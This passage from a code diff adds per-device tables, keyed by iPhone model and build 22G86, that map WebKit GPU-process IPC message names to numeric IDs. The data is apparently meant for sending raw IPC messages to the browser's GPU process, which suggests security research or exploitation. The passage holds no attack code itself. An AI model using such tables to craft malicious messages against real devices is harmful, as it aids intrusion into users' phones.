RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,6_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,7_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,8_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,2_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,3_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,4_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,5_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone16,1_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone16,2_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,1_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,2_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,3_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,4_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 